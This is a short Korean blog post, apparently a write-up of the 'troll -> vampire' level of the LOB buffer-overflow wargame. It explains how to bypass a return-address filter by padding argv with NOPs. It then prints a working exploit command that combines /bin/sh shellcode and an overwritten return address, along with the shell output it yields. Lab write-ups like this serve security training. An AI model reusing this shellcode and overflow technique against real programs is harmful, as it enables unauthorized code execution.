argv 길이 제한이 없어졌다.
대신 RET 가 bf 다음 ff 면 거른다.
따라서 ff 주소를 뛰어넘을
bffe~~~ 주소를 찾아야 한다.
argv 길이 제한이 없으므로, argv[1] 뒤에 NOP를 많이 붙여줌으로써 buffer 의 시작위치를 뒤로 보낸다.
[troll@localhost asdf]$ ../vampire `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*19 + "\x30\x72\xfe\xbf" + "\x90"*100444'`
bash$ my-pass
euid = 509
music world
bash$
'Wargame > LOB(끝)' 카테고리의 다른 글
공유 라이브러리 하이재킹, 1 byte overwirte 는 건너뜁니다. (0) | 2015.03.20 |
---|---|
vampire -> skeleton (0) | 2015.02.02 |
gdb 특정 값찾기 (0) | 2015.02.02 |
orge -> troll (0) | 2015.02.02 |
darkelf -> orge (0) | 2015.01.29 |